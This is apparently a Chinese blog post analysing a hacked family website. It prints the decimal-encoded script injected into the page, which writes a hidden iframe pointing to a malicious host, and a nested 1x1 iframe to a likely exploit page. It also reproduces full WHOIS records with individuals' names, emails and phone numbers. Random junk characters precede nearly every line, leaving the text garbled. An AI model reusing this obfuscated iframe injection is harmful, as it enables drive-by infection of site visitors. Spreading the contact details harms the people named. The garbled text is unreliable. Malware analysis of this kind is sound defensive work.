首发在我的博客里面，
e<DcuF<ZS ?RE"<L http://www.areway.cn/?p=175 eLH=PDdO 5> 81Vhc , `MT.<5H 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
nF- l4 = k(`> (w <script>t=’60,105,102,114,97,109,101,
e0C_ NFS+ 32,115,114,99,61,104,116,116,112,58,47,47,
\]F Pv7! 102,114,101,101,46,117,45,117,117,117,46,99,
af[dkuv 110,47,101,114,114,111,114,46,104,116,109,
ndyI sR 32,119,105,100,116,104,61,49,48,48,32,104,
<'T DOYb 101,105,103,104,116,61,48,62,60,47,105,102,
9AWP` ~l` 114,97,109,101,62′;
']!wc8m1" t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
[$6YPM>Ee ;Gp9
? 0 <script>t=’60,105,102,114,97,109,101,32,115,
}w=|"a|, 114,99,61,104,116,116,112,58,47,47,102,114,
)REegFN@ 101,101,46,117,45,117,117,117,46,99,110,47,
55b/giX 101,114,114,111,114,46,104,116,109,32,119,
C t(^nn$A 105,100,116,104,61,49,48,48,32,104,101,105,
"MPS&OK 103,104,116,61,48,62,60,47,105,102,114,97,
= g%<xCp 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
8&hxU@T~ document.write(t);</script>
AO -~dV aEEb1Y <html xmlns=”
8VpmcGvc3 http://www.w3.org/1999/xhtml ;5|d[r}k3 “>
sC f)#6mI <head>
ow+_g R- <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
D3tcwjXoW_ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Qp@}v7Due <title>首页 - 爱生活家庭网
O*F= x G >YdL B@ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
[pt U } 转换字符串后的大概内容是（谁点击后果自付）：
2L.6!THG <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
D7IhNWrgj X~*/ ~f 查询玉米u-uuu.cn的详细信息：
iD CQqj` Domain Name: u-uuu.cn
!(S.7#-r ROID: 20070901s10001s64972306-cn
oh:.iL}j Domain Status: ok
Nb f >Y Registrant Organization: 王雷
v/7^v}[< Registrant Name: 王雷
f DXTedrG/ Administrative Email:
czlovexs@126.com (j%"iQD Sponsoring Registrar: 北京万网志成科技有限公司
yJw.z#bB# Name Server:ns.yovole.com
sVlQ5M oo( Name Server:ns1.yovole.com
P-Gp^JX8 Registration Date: 2007-09-01 17:54
H ~< .2 b Expiration Date: 2008-09-01 17:54
F${}n1D 最后PING了一下地址 都没有什么….
1 yS: ` R-k~\vCW 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
*\0h^^|@ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
x9]vhR/av <script language=”javascript” src=”
A0ZU #"'/ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ASSe;+yp >
X=jD^"- 这个玉米应该有可能是木马作者的：
!6 kn>447Y foafau.info的详细信息：
3z k},8f u Access to INFO WHOIS information is provided to assist persons in
K,bX<~e5 determining the contents of a domain name registration record in the
v# fny Afilias registry database. The data in this record is provided by
L 'e|D=y Afilias Limited for informational purposes only, and Afilias does not
Lq#!}QcW= guarantee its accuracy. This service is intended only for query-based
8ys wi[ access. You agree that you will use this data only for lawful purposes
hBDmC_\~ and that, under no circumstances will you use this data to: (a) allow,
!%D;H ~mQ enable, or otherwise support the transmission by e-mail, telephone, or
7?y([i\y facsimile of mass unsolicited, commercial advertising or solicitations
fndH]Yp to entities other than the data recipient’s own existing customers; or
gd0a,_`M (b) enable high volume, automated, electronic processes that send
FbCuXS=+` queries or data to the systems of Registry Operator, a Registrar, or
02[*b Afilias except as reasonably necessary to register domain names or
TD/ 4lL~(x modify existing registrations. All rights reserved. Afilias reserves
Wq25, M' the right to modify these terms at any time. By submitting this query,
x45F-w{ you agree to abide by this policy.
Vc8w[oS Domain ID:D22418703-LRMS
5z.Y } Domain Name:FOAFAU.INFO
UD&pL'{s Created On:20-Nov-2007 16:05:42 UTC
0 \1g-kc!v Last Updated On:20-Nov-2007 16:05:44 UTC
d(vt 0 Expiration Date:20-Nov-2008 16:05:42 UTC
pe!"!xJE Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
I#(?xHx
Status:CLIENT DELETE PROHIBITED
`@&WELFv{ Status:CLIENT RENEW PROHIBITED
) '/xNR Status:CLIENT TRANSFER PROHIBITED
E,/nK Status:CLIENT UPDATE PROHIBITED
!H zJ* Status:TRANSFER PROHIBITED
2\"T& Registrant ID:GODA-040110615
=Nz;R2{@ Registrant Name:liu hong
[KEw5-=i@ Registrant Organization:
;IT'6m`@W Registrant Street1:beijing
G1SOvdq Registrant Street2:
t&o&gb Registrant Street3:
aC3Qmo 6?m Registrant City:beijing
bc6|]kB: Registrant State/Province:
&'m&'w Dt: Registrant Postal Code:100000
+[V.yY/t|> Registrant Country:CN
pWeD,!f Registrant Phone:+86.860108888777
MZ^(BOe_ Registrant Phone Ext.:
ZQsVSz( 1 Registrant FAX:
IRsyy\[kp8 Registrant FAX Ext.:
c O dgBi Registrant Email:bbbshiji@163.com
/vLW{ % Admin ID:GODA-240110615
DH])Q5 Admin Name:liu hong
@ n$/2y_. Admin Organization:
2t3)$\ylQp Admin Street1:beijing
}gQn r;lv Admin Street2:
$F@ ,, * Admin Street3:
5"L.C32 Admin City:beijing
s[t?At-> Admin State/Province:
As|e=ut( Admin Postal Code:100000
=pb ru=/ Admin Country:CN
Nfd'|# Admin Phone:+86.860108888777
SM.KM_%K Admin Phone Ext.:
L}t P_ * Admin FAX:
I9sQPa Admin FAX Ext.:
?V =#x.9 Admin Email:bbbshiji@163.com
we33GMxHl` Billing ID:GODA-340110615
Bf$` Hf6 Billing Name:liu hong
wd2z=^S~ Billing Organization:
T=[ /x= Billing Street1:beijing
u y13SkW Billing Street2:
U ?6.UtNf Billing Street3:
}Rq{9j,% Billing City:beijing
/kqa|=-`q Billing State/Province:
xH>j Billing Postal Code:100000
b%xG^jUXsX Billing Country:CN
}u;`k'J@ Billing Phone:+86.860108888777
GjX6noqT Billing Phone Ext.:
cJ'OqV F Billing FAX:
)D7/[zb^ Billing FAX Ext.:
( $,qxPOn Billing Email:bbbshiji@163.com
N@I=X-7nh| Tech ID:GODA-140110615
TV?MB(mN Tech Name:liu hong
5M#L O@U Tech Organization:
n}8}:3" Tech Street1:beijing
$Oaxet PH Tech Street2:
~6#O5plKc Tech Street3:
1 -s G`% Tech City:beijing
T:*l+<? Tech State/Province:
j;EH[3 Tech Postal Code:100000
}(9ZME<( Tech Country:CN
` c " Tech Phone:+86.860108888777
(JT
273 Tech Phone Ext.:
Pk`3sfz Tech FAX:
7DWGYvv [ Tech FAX Ext.:
U<6+2y P Tech Email:bbbshiji@163.com
9[:TWvd Name Server:NS27.DOMAINCONTROL.COM
#1p\\Av Name Server:NS28.DOMAINCONTROL.COM
5p~hUP]tT Name Server:
SnY{| Name Server:
tcJN` N Name Server:
D/Py?<n -B Name Server:
1;~| [C Name Server:
9D7i>e%,;- Name Server:
QVkrhwp Name Server:
e. R9: Name Server:
{n(/ c3 3 Name Server:
9`7>" [=P Name Server:
IJD E{) Name Server:
>LW}N!IBy ~P'i
/*: 接着下载每个文件里面的代码：
qTe@? j 一步一步看..
M[QQi2:& 
=OFx4 #6a 
<sls1, 
y N,grU ( 
@iN"]GFjS 
- ]Q\G 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
